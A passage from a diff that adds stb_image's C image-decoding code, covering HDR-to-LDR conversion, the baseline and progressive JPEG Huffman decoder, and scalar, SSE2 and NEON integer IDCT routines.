+   if (output == NULL) { STBI_FREE(data); return stbi__errpuc("outofmem", "Out of memory"); }
+   // compute number of non-alpha components
+   if (comp & 1) n = comp; else n = comp-1;
+   for (i=0; i < x*y; ++i) {
+      for (k=0; k < n; ++k) {
+         float z = (float) pow(data[i*comp+k]*stbi__h2l_scale_i, stbi__h2l_gamma_i) * 255 + 0.5f;
+         if (z < 0) z = 0;
+         if (z > 255) z = 255;
+         output[i*comp + k] = (stbi_uc) stbi__float2int(z);
+      }
+      if (k < comp) {
+         float z = data[i*comp+k] * 255 + 0.5f;
+         if (z < 0) z = 0;
+         if (z > 255) z = 255;
+         output[i*comp + k] = (stbi_uc) stbi__float2int(z);
+      }
+   }
+   STBI_FREE(data);
+   return output;
+}
+#endif
+
+//////////////////////////////////////////////////////////////////////////////
+//
+//  "baseline" JPEG/JFIF decoder
+//
+//    simple implementation
+//      - doesn't support delayed output of y-dimension
+//      - simple interface (only one output format: 8-bit interleaved RGB)
+//      - doesn't try to recover corrupt jpegs
+//      - doesn't allow partial loading, loading multiple at once
+//      - still fast on x86 (copying globals into locals doesn't help x86)
+//      - allocates lots of intermediate memory (full size of all components)
+//        - non-interleaved case requires this anyway
+//        - allows good upsampling (see next)
+//    high-quality
+//      - upsampled channels are bilinearly interpolated, even across blocks
+//      - quality integer IDCT derived from IJG's 'slow'
+//    performance
+//      - fast huffman; reasonable integer IDCT
+//      - some SIMD kernels for common paths on targets with SSE2/NEON
+//      - uses a lot of intermediate memory, could cache poorly
+
+#ifndef STBI_NO_JPEG
+
+// huffman decoding acceleration
+#define FAST_BITS   9  // larger handles more cases; smaller stomps less cache
+
+typedef struct
+{
+   stbi_uc  fast[1 << FAST_BITS];
+   // weirdly, repacking this into AoS is a 10% speed loss, instead of a win
+   stbi__uint16 code[256];
+   stbi_uc  values[256];
+   stbi_uc  size[257];
+   unsigned int maxcode[18];
+   int    delta[17];   // old 'firstsymbol' - old 'firstcode'
+} stbi__huffman;
+
+typedef struct
+{
+   stbi__context *s;
+   stbi__huffman huff_dc[4];
+   stbi__huffman huff_ac[4];
+   stbi__uint16 dequant[4][64];
+   stbi__int16 fast_ac[4][1 << FAST_BITS];
+
+// sizes for components, interleaved MCUs
+   int img_h_max, img_v_max;
+   int img_mcu_x, img_mcu_y;
+   int img_mcu_w, img_mcu_h;
+
+// definition of jpeg image component
+   struct
+   {
+      int id;
+      int h,v;
+      int tq;
+      int hd,ha;
+      int dc_pred;
+
+      int x,y,w2,h2;
+      stbi_uc *data;
+      void *raw_data, *raw_coeff;
+      stbi_uc *linebuf;
+      short   *coeff;   // progressive only
+      int      coeff_w, coeff_h; // number of 8x8 coefficient blocks
+   } img_comp[4];
+
+   stbi__uint32   code_buffer; // jpeg entropy-coded buffer
+   int            code_bits;   // number of valid bits
+   unsigned char  marker;      // marker seen while filling entropy buffer
+   int            nomore;      // flag if we saw a marker so must stop
+
+   int            progressive;
+   int            spec_start;
+   int            spec_end;
+   int            succ_high;
+   int            succ_low;
+   int            eob_run;
+   int            jfif;
+   int            app14_color_transform; // Adobe APP14 tag
+   int            rgb;
+
+   int scan_n, order[4];
+   int restart_interval, todo;
+
+// kernels
+   void (*idct_block_kernel)(stbi_uc *out, int out_stride, short data[64]);
+   void (*YCbCr_to_RGB_kernel)(stbi_uc *out, const stbi_uc *y, const stbi_uc *pcb, const stbi_uc *pcr, int count, int step);
+   stbi_uc *(*resample_row_hv_2_kernel)(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs);
+} stbi__jpeg;
+
+static int stbi__build_huffman(stbi__huffman *h, int *count)
+{
+   int i,j,k=0;
+   unsigned int code;
+   // build size list for each symbol (from JPEG spec)
+   for (i=0; i < 16; ++i)
+      for (j=0; j < count[i]; ++j)
+         h->size[k++] = (stbi_uc) (i+1);
+   h->size[k] = 0;
+
+   // compute actual symbols (from jpeg spec)
+   code = 0;
+   k = 0;
+   for(j=1; j <= 16; ++j) {
+      // compute delta to add to code to compute symbol id
+      h->delta[j] = k - code;
+      if (h->size[k] == j) {
+         while (h->size[k] == j)
+            h->code[k++] = (stbi__uint16) (code++);
+         if (code-1 >= (1u << j)) return stbi__err("bad code lengths","Corrupt JPEG");
+      }
+      // compute largest code + 1 for this size, preshifted as needed later
+      h->maxcode[j] = code << (16-j);
+      code <<= 1;
+   }
+   h->maxcode[j] = 0xffffffff;
+
+   // build non-spec acceleration table; 255 is flag for not-accelerated
+   memset(h->fast, 255, 1 << FAST_BITS);
+   for (i=0; i < k; ++i) {
+      int s = h->size[i];
+      if (s <= FAST_BITS) {
+         int c = h->code[i] << (FAST_BITS-s);
+         int m = 1 << (FAST_BITS-s);
+         for (j=0; j < m; ++j) {
+            h->fast[c+j] = (stbi_uc) i;
+         }
+      }
+   }
+   return 1;
+}
+
+// build a table that decodes both magnitude and value of small ACs in
+// one go.
+static void stbi__build_fast_ac(stbi__int16 *fast_ac, stbi__huffman *h)
+{
+   int i;
+   for (i=0; i < (1 << FAST_BITS); ++i) {
+      stbi_uc fast = h->fast[i];
+      fast_ac[i] = 0;
+      if (fast < 255) {
+         int rs = h->values[fast];
+         int run = (rs >> 4) & 15;
+         int magbits = rs & 15;
+         int len = h->size[fast];
+
+         if (magbits && len + magbits <= FAST_BITS) {
+            // magnitude code followed by receive_extend code
+            int k = ((i << len) & ((1 << FAST_BITS) - 1)) >> (FAST_BITS - magbits);
+            int m = 1 << (magbits - 1);
+            if (k < m) k += (~0U << magbits) + 1;
+            // if the result is small enough, we can fit it in fast_ac table
+            if (k >= -128 && k <= 127)
+               fast_ac[i] = (stbi__int16) ((k * 256) + (run * 16) + (len + magbits));
+         }
+      }
+   }
+}
+
+static void stbi__grow_buffer_unsafe(stbi__jpeg *j)
+{
+   do {
+      unsigned int b = j->nomore ? 0 : stbi__get8(j->s);
+      if (b == 0xff) {
+         int c = stbi__get8(j->s);
+         while (c == 0xff) c = stbi__get8(j->s); // consume fill bytes
+         if (c != 0) {
+            j->marker = (unsigned char) c;
+            j->nomore = 1;
+            return;
+         }
+      }
+      j->code_buffer |= b << (24 - j->code_bits);
+      j->code_bits += 8;
+   } while (j->code_bits <= 24);
+}
+
+// (1 << n) - 1
+static const stbi__uint32 stbi__bmask[17]={0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535};
+
+// decode a jpeg huffman value from the bitstream
+stbi_inline static int stbi__jpeg_huff_decode(stbi__jpeg *j, stbi__huffman *h)
+{
+   unsigned int temp;
+   int c,k;
+
+   if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+
+   // look at the top FAST_BITS and determine what symbol ID it is,
+   // if the code is <= FAST_BITS
+   c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
+   k = h->fast[c];
+   if (k < 255) {
+      int s = h->size[k];
+      if (s > j->code_bits)
+         return -1;
+      j->code_buffer <<= s;
+      j->code_bits -= s;
+      return h->values[k];
+   }
+
+   // naive test is to shift the code_buffer down so k bits are
+   // valid, then test against maxcode. To speed this up, we've
+   // preshifted maxcode left so that it has (16-k) 0s at the
+   // end; in other words, regardless of the number of bits, it
+   // wants to be compared against something shifted to have 16;
+   // that way we don't need to shift inside the loop.
+   temp = j->code_buffer >> 16;
+   for (k=FAST_BITS+1 ; ; ++k)
+      if (temp < h->maxcode[k])
+         break;
+   if (k == 17) {
+      // error! code not found
+      j->code_bits -= 16;
+      return -1;
+   }
+
+   if (k > j->code_bits)
+      return -1;
+
+   // convert the huffman code to the symbol id
+   c = ((j->code_buffer >> (32 - k)) & stbi__bmask[k]) + h->delta[k];
+   STBI_ASSERT((((j->code_buffer) >> (32 - h->size[c])) & stbi__bmask[h->size[c]]) == h->code[c]);
+
+   // convert the id to a symbol
+   j->code_bits -= k;
+   j->code_buffer <<= k;
+   return h->values[c];
+}
+
+// bias[n] = (-1<<n) + 1
+static const int stbi__jbias[16] = {0,-1,-3,-7,-15,-31,-63,-127,-255,-511,-1023,-2047,-4095,-8191,-16383,-32767};
+
+// combined JPEG 'receive' and JPEG 'extend', since baseline
+// always extends everything it receives.
+stbi_inline static int stbi__extend_receive(stbi__jpeg *j, int n)
+{
+   unsigned int k;
+   int sgn;
+   if (j->code_bits < n) stbi__grow_buffer_unsafe(j);
+
+   sgn = (stbi__int32)j->code_buffer >> 31; // sign bit is always in MSB
+   k = stbi_lrot(j->code_buffer, n);
+   STBI_ASSERT(n >= 0 && n < (int) (sizeof(stbi__bmask)/sizeof(*stbi__bmask)));
+   j->code_buffer = k & ~stbi__bmask[n];
+   k &= stbi__bmask[n];
+   j->code_bits -= n;
+   return k + (stbi__jbias[n] & ~sgn);
+}
+
+// get some unsigned bits
+stbi_inline static int stbi__jpeg_get_bits(stbi__jpeg *j, int n)
+{
+   unsigned int k;
+   if (j->code_bits < n) stbi__grow_buffer_unsafe(j);
+   k = stbi_lrot(j->code_buffer, n);
+   j->code_buffer = k & ~stbi__bmask[n];
+   k &= stbi__bmask[n];
+   j->code_bits -= n;
+   return k;
+}
+
+stbi_inline static int stbi__jpeg_get_bit(stbi__jpeg *j)
+{
+   unsigned int k;
+   if (j->code_bits < 1) stbi__grow_buffer_unsafe(j);
+   k = j->code_buffer;
+   j->code_buffer <<= 1;
+   --j->code_bits;
+   return k & 0x80000000;
+}
+
+// given a value that's at position X in the zigzag stream,
+// where does it appear in the 8x8 matrix coded as row-major?
+static const stbi_uc stbi__jpeg_dezigzag[64+15] =
+{
+    0,  1,  8, 16,  9,  2,  3, 10,
+   17, 24, 32, 25, 18, 11,  4,  5,
+   12, 19, 26, 33, 40, 48, 41, 34,
+   27, 20, 13,  6,  7, 14, 21, 28,
+   35, 42, 49, 56, 57, 50, 43, 36,
+   29, 22, 15, 23, 30, 37, 44, 51,
+   58, 59, 52, 45, 38, 31, 39, 46,
+   53, 60, 61, 54, 47, 55, 62, 63,
+   // let corrupt input sample past end
+   63, 63, 63, 63, 63, 63, 63, 63,
+   63, 63, 63, 63, 63, 63, 63
+};
+
+// decode one 64-entry block--
+static int stbi__jpeg_decode_block(stbi__jpeg *j, short data[64], stbi__huffman *hdc, stbi__huffman *hac, stbi__int16 *fac, int b, stbi__uint16 *dequant)
+{
+   int diff,dc,k;
+   int t;
+
+   if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+   t = stbi__jpeg_huff_decode(j, hdc);
+   if (t < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+
+   // 0 all the ac values now so we can do it 32-bits at a time
+   memset(data,0,64*sizeof(data[0]));
+
+   diff = t ? stbi__extend_receive(j, t) : 0;
+   dc = j->img_comp[b].dc_pred + diff;
+   j->img_comp[b].dc_pred = dc;
+   data[0] = (short) (dc * dequant[0]);
+
+   // decode AC components, see JPEG spec
+   k = 1;
+   do {
+      unsigned int zig;
+      int c,r,s;
+      if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+      c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
+      r = fac[c];
+      if (r) { // fast-AC path
+         k += (r >> 4) & 15; // run
+         s = r & 15; // combined length
+         j->code_buffer <<= s;
+         j->code_bits -= s;
+         // decode into unzigzag'd location
+         zig = stbi__jpeg_dezigzag[k++];
+         data[zig] = (short) ((r >> 8) * dequant[zig]);
+      } else {
+         int rs = stbi__jpeg_huff_decode(j, hac);
+         if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+         s = rs & 15;
+         r = rs >> 4;
+         if (s == 0) {
+            if (rs != 0xf0) break; // end block
+            k += 16;
+         } else {
+            k += r;
+            // decode into unzigzag'd location
+            zig = stbi__jpeg_dezigzag[k++];
+            data[zig] = (short) (stbi__extend_receive(j,s) * dequant[zig]);
+         }
+      }
+   } while (k < 64);
+   return 1;
+}
+
+static int stbi__jpeg_decode_block_prog_dc(stbi__jpeg *j, short data[64], stbi__huffman *hdc, int b)
+{
+   int diff,dc;
+   int t;
+   if (j->spec_end != 0) return stbi__err("can't merge dc and ac", "Corrupt JPEG");
+
+   if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+
+   if (j->succ_high == 0) {
+      // first scan for DC coefficient, must be first
+      memset(data,0,64*sizeof(data[0])); // 0 all the ac values now
+      t = stbi__jpeg_huff_decode(j, hdc);
+      diff = t ? stbi__extend_receive(j, t) : 0;
+
+      dc = j->img_comp[b].dc_pred + diff;
+      j->img_comp[b].dc_pred = dc;
+      data[0] = (short) (dc << j->succ_low);
+   } else {
+      // refinement scan for DC coefficient
+      if (stbi__jpeg_get_bit(j))
+         data[0] += (short) (1 << j->succ_low);
+   }
+   return 1;
+}
+
+// @OPTIMIZE: store non-zigzagged during the decode passes,
+// and only de-zigzag when dequantizing
+static int stbi__jpeg_decode_block_prog_ac(stbi__jpeg *j, short data[64], stbi__huffman *hac, stbi__int16 *fac)
+{
+   int k;
+   if (j->spec_start == 0) return stbi__err("can't merge dc and ac", "Corrupt JPEG");
+
+   if (j->succ_high == 0) {
+      int shift = j->succ_low;
+
+      if (j->eob_run) {
+         --j->eob_run;
+         return 1;
+      }
+
+      k = j->spec_start;
+      do {
+         unsigned int zig;
+         int c,r,s;
+         if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+         c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
+         r = fac[c];
+         if (r) { // fast-AC path
+            k += (r >> 4) & 15; // run
+            s = r & 15; // combined length
+            j->code_buffer <<= s;
+            j->code_bits -= s;
+            zig = stbi__jpeg_dezigzag[k++];
+            data[zig] = (short) ((r >> 8) << shift);
+         } else {
+            int rs = stbi__jpeg_huff_decode(j, hac);
+            if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+            s = rs & 15;
+            r = rs >> 4;
+            if (s == 0) {
+               if (r < 15) {
+                  j->eob_run = (1 << r);
+                  if (r)
+                     j->eob_run += stbi__jpeg_get_bits(j, r);
+                  --j->eob_run;
+                  break;
+               }
+               k += 16;
+            } else {
+               k += r;
+               zig = stbi__jpeg_dezigzag[k++];
+               data[zig] = (short) (stbi__extend_receive(j,s) << shift);
+            }
+         }
+      } while (k <= j->spec_end);
+   } else {
+      // refinement scan for these AC coefficients
+
+      short bit = (short) (1 << j->succ_low);
+
+      if (j->eob_run) {
+         --j->eob_run;
+         for (k = j->spec_start; k <= j->spec_end; ++k) {
+            short *p = &data[stbi__jpeg_dezigzag[k]];
+            if (*p != 0)
+               if (stbi__jpeg_get_bit(j))
+                  if ((*p & bit)==0) {
+                     if (*p > 0)
+                        *p += bit;
+                     else
+                        *p -= bit;
+                  }
+         }
+      } else {
+         k = j->spec_start;
+         do {
+            int r,s;
+            int rs = stbi__jpeg_huff_decode(j, hac); // @OPTIMIZE see if we can use the fast path here, advance-by-r is so slow, eh
+            if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+            s = rs & 15;
+            r = rs >> 4;
+            if (s == 0) {
+               if (r < 15) {
+                  j->eob_run = (1 << r) - 1;
+                  if (r)
+                     j->eob_run += stbi__jpeg_get_bits(j, r);
+                  r = 64; // force end of block
+               } else {
+                  // r=15 s=0 should write 16 0s, so we just do
+                  // a run of 15 0s and then write s (which is 0),
+                  // so we don't have to do anything special here
+               }
+            } else {
+               if (s != 1) return stbi__err("bad huffman code", "Corrupt JPEG");
+               // sign bit
+               if (stbi__jpeg_get_bit(j))
+                  s = bit;
+               else
+                  s = -bit;
+            }
+
+            // advance by r
+            while (k <= j->spec_end) {
+               short *p = &data[stbi__jpeg_dezigzag[k++]];
+               if (*p != 0) {
+                  if (stbi__jpeg_get_bit(j))
+                     if ((*p & bit)==0) {
+                        if (*p > 0)
+                           *p += bit;
+                        else
+                           *p -= bit;
+                     }
+               } else {
+                  if (r == 0) {
+                     *p = (short) s;
+                     break;
+                  }
+                  --r;
+               }
+            }
+         } while (k <= j->spec_end);
+      }
+   }
+   return 1;
+}
+
+// take a -128..127 value and stbi__clamp it and convert to 0..255
+stbi_inline static stbi_uc stbi__clamp(int x)
+{
+   // trick to use a single test to catch both cases
+   if ((unsigned int) x > 255) {
+      if (x < 0) return 0;
+      if (x > 255) return 255;
+   }
+   return (stbi_uc) x;
+}
+
+#define stbi__f2f(x)  ((int) (((x) * 4096 + 0.5)))
+#define stbi__fsh(x)  ((x) * 4096)
+
+// derived from jidctint -- DCT_ISLOW
+#define STBI__IDCT_1D(s0,s1,s2,s3,s4,s5,s6,s7) \
+   int t0,t1,t2,t3,p1,p2,p3,p4,p5,x0,x1,x2,x3; \
+   p2 = s2;                                    \
+   p3 = s6;                                    \
+   p1 = (p2+p3) * stbi__f2f(0.5411961f);       \
+   t2 = p1 + p3*stbi__f2f(-1.847759065f);      \
+   t3 = p1 + p2*stbi__f2f( 0.765366865f);      \
+   p2 = s0;                                    \
+   p3 = s4;                                    \
+   t0 = stbi__fsh(p2+p3);                      \
+   t1 = stbi__fsh(p2-p3);                      \
+   x0 = t0+t3;                                 \
+   x3 = t0-t3;                                 \
+   x1 = t1+t2;                                 \
+   x2 = t1-t2;                                 \
+   t0 = s7;                                    \
+   t1 = s5;                                    \
+   t2 = s3;                                    \
+   t3 = s1;                                    \
+   p3 = t0+t2;                                 \
+   p4 = t1+t3;                                 \
+   p1 = t0+t3;                                 \
+   p2 = t1+t2;                                 \
+   p5 = (p3+p4)*stbi__f2f( 1.175875602f);      \
+   t0 = t0*stbi__f2f( 0.298631336f);           \
+   t1 = t1*stbi__f2f( 2.053119869f);           \
+   t2 = t2*stbi__f2f( 3.072711026f);           \
+   t3 = t3*stbi__f2f( 1.501321110f);           \
+   p1 = p5 + p1*stbi__f2f(-0.899976223f);      \
+   p2 = p5 + p2*stbi__f2f(-2.562915447f);      \
+   p3 = p3*stbi__f2f(-1.961570560f);           \
+   p4 = p4*stbi__f2f(-0.390180644f);           \
+   t3 += p1+p4;                                \
+   t2 += p2+p3;                                \
+   t1 += p2+p4;                                \
+   t0 += p1+p3;
+
+static void stbi__idct_block(stbi_uc *out, int out_stride, short data[64])
+{
+   int i,val[64],*v=val;
+   stbi_uc *o;
+   short *d = data;
+
+   // columns
+   for (i=0; i < 8; ++i,++d, ++v) {
+      // if all zeroes, shortcut -- this avoids dequantizing 0s and IDCTing
+      if (d[ 8]==0 && d[16]==0 && d[24]==0 && d[32]==0
+           && d[40]==0 && d[48]==0 && d[56]==0) {
+         //    no shortcut                 0     seconds
+         //    (1|2|3|4|5|6|7)==0          0     seconds
+         //    all separate               -0.047 seconds
+         //    1 && 2|3 && 4|5 && 6|7:    -0.047 seconds
+         int dcterm = d[0]*4;
+         v[0] = v[8] = v[16] = v[24] = v[32] = v[40] = v[48] = v[56] = dcterm;
+      } else {
+         STBI__IDCT_1D(d[ 0],d[ 8],d[16],d[24],d[32],d[40],d[48],d[56])
+         // constants scaled things up by 1<<12; let's bring them back
+         // down, but keep 2 extra bits of precision
+         x0 += 512; x1 += 512; x2 += 512; x3 += 512;
+         v[ 0] = (x0+t3) >> 10;
+         v[56] = (x0-t3) >> 10;
+         v[ 8] = (x1+t2) >> 10;
+         v[48] = (x1-t2) >> 10;
+         v[16] = (x2+t1) >> 10;
+         v[40] = (x2-t1) >> 10;
+         v[24] = (x3+t0) >> 10;
+         v[32] = (x3-t0) >> 10;
+      }
+   }
+
+   for (i=0, v=val, o=out; i < 8; ++i,v+=8,o+=out_stride) {
+      // no fast case since the first 1D IDCT spread components out
+      STBI__IDCT_1D(v[0],v[1],v[2],v[3],v[4],v[5],v[6],v[7])
+      // constants scaled things up by 1<<12, plus we had 1<<2 from first
+      // loop, plus horizontal and vertical each scale by sqrt(8) so together
+      // we've got an extra 1<<3, so 1<<17 total we need to remove.
+      // so we want to round that, which means adding 0.5 * 1<<17,
+      // aka 65536. Also, we'll end up with -128 to 127 that we want
+      // to encode as 0..255 by adding 128, so we'll add that before the shift
+      x0 += 65536 + (128<<17);
+      x1 += 65536 + (128<<17);
+      x2 += 65536 + (128<<17);
+      x3 += 65536 + (128<<17);
+      // tried computing the shifts into temps, or'ing the temps to see
+      // if any were out of range, but that was slower
+      o[0] = stbi__clamp((x0+t3) >> 17);
+      o[7] = stbi__clamp((x0-t3) >> 17);
+      o[1] = stbi__clamp((x1+t2) >> 17);
+      o[6] = stbi__clamp((x1-t2) >> 17);
+      o[2] = stbi__clamp((x2+t1) >> 17);
+      o[5] = stbi__clamp((x2-t1) >> 17);
+      o[3] = stbi__clamp((x3+t0) >> 17);
+      o[4] = stbi__clamp((x3-t0) >> 17);
+   }
+}
+
+#ifdef STBI_SSE2
+// sse2 integer IDCT. not the fastest possible implementation but it
+// produces bit-identical results to the generic C version so it's
+// fully "transparent".
+static void stbi__idct_simd(stbi_uc *out, int out_stride, short data[64])
+{
+   // This is constructed to match our regular (generic) integer IDCT exactly.
+   __m128i row0, row1, row2, row3, row4, row5, row6, row7;
+   __m128i tmp;
+
+   // dot product constant: even elems=x, odd elems=y
+   #define dct_const(x,y)  _mm_setr_epi16((x),(y),(x),(y),(x),(y),(x),(y))
+
+   // out(0) = c0[even]*x + c0[odd]*y   (c0, x, y 16-bit, out 32-bit)
+   // out(1) = c1[even]*x + c1[odd]*y
+   #define dct_rot(out0,out1, x,y,c0,c1) \
+      __m128i c0##lo = _mm_unpacklo_epi16((x),(y)); \
+      __m128i c0##hi = _mm_unpackhi_epi16((x),(y)); \
+      __m128i out0##_l = _mm_madd_epi16(c0##lo, c0); \
+      __m128i out0##_h = _mm_madd_epi16(c0##hi, c0); \
+      __m128i out1##_l = _mm_madd_epi16(c0##lo, c1); \
+      __m128i out1##_h = _mm_madd_epi16(c0##hi, c1)
+
+   // out = in << 12  (in 16-bit, out 32-bit)
+   #define dct_widen(out, in) \
+      __m128i out##_l = _mm_srai_epi32(_mm_unpacklo_epi16(_mm_setzero_si128(), (in)), 4); \
+      __m128i out##_h = _mm_srai_epi32(_mm_unpackhi_epi16(_mm_setzero_si128(), (in)), 4)
+
+   // wide add
+   #define dct_wadd(out, a, b) \
+      __m128i out##_l = _mm_add_epi32(a##_l, b##_l); \
+      __m128i out##_h = _mm_add_epi32(a##_h, b##_h)
+
+   // wide sub
+   #define dct_wsub(out, a, b) \
+      __m128i out##_l = _mm_sub_epi32(a##_l, b##_l); \
+      __m128i out##_h = _mm_sub_epi32(a##_h, b##_h)
+
+   // butterfly a/b, add bias, then shift by "s" and pack
+   #define dct_bfly32o(out0, out1, a,b,bias,s) \
+      { \
+         __m128i abiased_l = _mm_add_epi32(a##_l, bias); \
+         __m128i abiased_h = _mm_add_epi32(a##_h, bias); \
+         dct_wadd(sum, abiased, b); \
+         dct_wsub(dif, abiased, b); \
+         out0 = _mm_packs_epi32(_mm_srai_epi32(sum_l, s), _mm_srai_epi32(sum_h, s)); \
+         out1 = _mm_packs_epi32(_mm_srai_epi32(dif_l, s), _mm_srai_epi32(dif_h, s)); \
+      }
+
+   // 8-bit interleave step (for transposes)
+   #define dct_interleave8(a, b) \
+      tmp = a; \
+      a = _mm_unpacklo_epi8(a, b); \
+      b = _mm_unpackhi_epi8(tmp, b)
+
+   // 16-bit interleave step (for transposes)
+   #define dct_interleave16(a, b) \
+      tmp = a; \
+      a = _mm_unpacklo_epi16(a, b); \
+      b = _mm_unpackhi_epi16(tmp, b)
+
+   #define dct_pass(bias,shift) \
+      { \
+         /* even part */ \
+         dct_rot(t2e,t3e, row2,row6, rot0_0,rot0_1); \
+         __m128i sum04 = _mm_add_epi16(row0, row4); \
+         __m128i dif04 = _mm_sub_epi16(row0, row4); \
+         dct_widen(t0e, sum04); \
+         dct_widen(t1e, dif04); \
+         dct_wadd(x0, t0e, t3e); \
+         dct_wsub(x3, t0e, t3e); \
+         dct_wadd(x1, t1e, t2e); \
+         dct_wsub(x2, t1e, t2e); \
+         /* odd part */ \
+         dct_rot(y0o,y2o, row7,row3, rot2_0,rot2_1); \
+         dct_rot(y1o,y3o, row5,row1, rot3_0,rot3_1); \
+         __m128i sum17 = _mm_add_epi16(row1, row7); \
+         __m128i sum35 = _mm_add_epi16(row3, row5); \
+         dct_rot(y4o,y5o, sum17,sum35, rot1_0,rot1_1); \
+         dct_wadd(x4, y0o, y4o); \
+         dct_wadd(x5, y1o, y5o); \
+         dct_wadd(x6, y2o, y5o); \
+         dct_wadd(x7, y3o, y4o); \
+         dct_bfly32o(row0,row7, x0,x7,bias,shift); \
+         dct_bfly32o(row1,row6, x1,x6,bias,shift); \
+         dct_bfly32o(row2,row5, x2,x5,bias,shift); \
+         dct_bfly32o(row3,row4, x3,x4,bias,shift); \
+      }
+
+   __m128i rot0_0 = dct_const(stbi__f2f(0.5411961f), stbi__f2f(0.5411961f) + stbi__f2f(-1.847759065f));
+   __m128i rot0_1 = dct_const(stbi__f2f(0.5411961f) + stbi__f2f( 0.765366865f), stbi__f2f(0.5411961f));
+   __m128i rot1_0 = dct_const(stbi__f2f(1.175875602f) + stbi__f2f(-0.899976223f), stbi__f2f(1.175875602f));
+   __m128i rot1_1 = dct_const(stbi__f2f(1.175875602f), stbi__f2f(1.175875602f) + stbi__f2f(-2.562915447f));
+   __m128i rot2_0 = dct_const(stbi__f2f(-1.961570560f) + stbi__f2f( 0.298631336f), stbi__f2f(-1.961570560f));
+   __m128i rot2_1 = dct_const(stbi__f2f(-1.961570560f), stbi__f2f(-1.961570560f) + stbi__f2f( 3.072711026f));
+   __m128i rot3_0 = dct_const(stbi__f2f(-0.390180644f) + stbi__f2f( 2.053119869f), stbi__f2f(-0.390180644f));
+   __m128i rot3_1 = dct_const(stbi__f2f(-0.390180644f), stbi__f2f(-0.390180644f) + stbi__f2f( 1.501321110f));
+
+   // rounding biases in column/row passes, see stbi__idct_block for explanation.
+   __m128i bias_0 = _mm_set1_epi32(512);
+   __m128i bias_1 = _mm_set1_epi32(65536 + (128<<17));
+
+   // load
+   row0 = _mm_load_si128((const __m128i *) (data + 0*8));
+   row1 = _mm_load_si128((const __m128i *) (data + 1*8));
+   row2 = _mm_load_si128((const __m128i *) (data + 2*8));
+   row3 = _mm_load_si128((const __m128i *) (data + 3*8));
+   row4 = _mm_load_si128((const __m128i *) (data + 4*8));
+   row5 = _mm_load_si128((const __m128i *) (data + 5*8));
+   row6 = _mm_load_si128((const __m128i *) (data + 6*8));
+   row7 = _mm_load_si128((const __m128i *) (data + 7*8));
+
+   // column pass
+   dct_pass(bias_0, 10);
+
+   {
+      // 16bit 8x8 transpose pass 1
+      dct_interleave16(row0, row4);
+      dct_interleave16(row1, row5);
+      dct_interleave16(row2, row6);
+      dct_interleave16(row3, row7);
+
+      // transpose pass 2
+      dct_interleave16(row0, row2);
+      dct_interleave16(row1, row3);
+      dct_interleave16(row4, row6);
+      dct_interleave16(row5, row7);
+
+      // transpose pass 3
+      dct_interleave16(row0, row1);
+      dct_interleave16(row2, row3);
+      dct_interleave16(row4, row5);
+      dct_interleave16(row6, row7);
+   }
+
+   // row pass
+   dct_pass(bias_1, 17);
+
+   {
+      // pack
+      __m128i p0 = _mm_packus_epi16(row0, row1); // a0a1a2a3...a7b0b1b2b3...b7
+      __m128i p1 = _mm_packus_epi16(row2, row3);
+      __m128i p2 = _mm_packus_epi16(row4, row5);
+      __m128i p3 = _mm_packus_epi16(row6, row7);
+
+      // 8bit 8x8 transpose pass 1
+      dct_interleave8(p0, p2); // a0e0a1e1...
+      dct_interleave8(p1, p3); // c0g0c1g1...
+
+      // transpose pass 2
+      dct_interleave8(p0, p1); // a0c0e0g0...
+      dct_interleave8(p2, p3); // b0d0f0h0...
+
+      // transpose pass 3
+      dct_interleave8(p0, p2); // a0b0c0d0...
+      dct_interleave8(p1, p3); // a4b4c4d4...
+
+      // store
+      _mm_storel_epi64((__m128i *) out, p0); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p0, 0x4e)); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, p2); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p2, 0x4e)); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, p1); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p1, 0x4e)); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, p3); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p3, 0x4e));
+   }
+
+#undef dct_const
+#undef dct_rot
+#undef dct_widen
+#undef dct_wadd
+#undef dct_wsub
+#undef dct_bfly32o
+#undef dct_interleave8
+#undef dct_interleave16
+#undef dct_pass
+}
+
+#endif // STBI_SSE2
+
+#ifdef STBI_NEON
+
+// NEON integer IDCT. should produce bit-identical
+// results to the generic C version.
+static void stbi__idct_simd(stbi_uc *out, int out_stride, short data[64])
+{
+   int16x8_t row0, row1, row2, row3, row4, row5, row6, row7;
+
+   int16x4_t rot0_0 = vdup_n_s16(stbi__f2f(0.5411961f));
+   int16x4_t rot0_1 = vdup_n_s16(stbi__f2f(-1.847759065f));
+   int16x4_t rot0_2 = vdup_n_s16(stbi__f2f( 0.765366865f));
+   int16x4_t rot1_0 = vdup_n_s16(stbi__f2f( 1.175875602f));
+   int16x4_t rot1_1 = vdup_n_s16(stbi__f2f(-0.899976223f));
+   int16x4_t rot1_2 = vdup_n_s16(stbi__f2f(-2.562915447f));
+   int16x4_t rot2_0 = vdup_n_s16(stbi__f2f(-1.961570560f));
+   int16x4_t rot2_1 = vdup_n_s16(stbi__f2f(-0.390180644f));
+   int16x4_t rot3_0 = vdup_n_s16(stbi__f2f( 0.298631336f));
+   int16x4_t rot3_1 = vdup_n_s16(stbi__f2f( 2.053119869f));
+   int16x4_t rot3_2 = vdup_n_s16(stbi__f2f( 3.072711026f));
+   int16x4_t rot3_3 = vdup_n_s16(stbi__f2f( 1.501321110f));
+
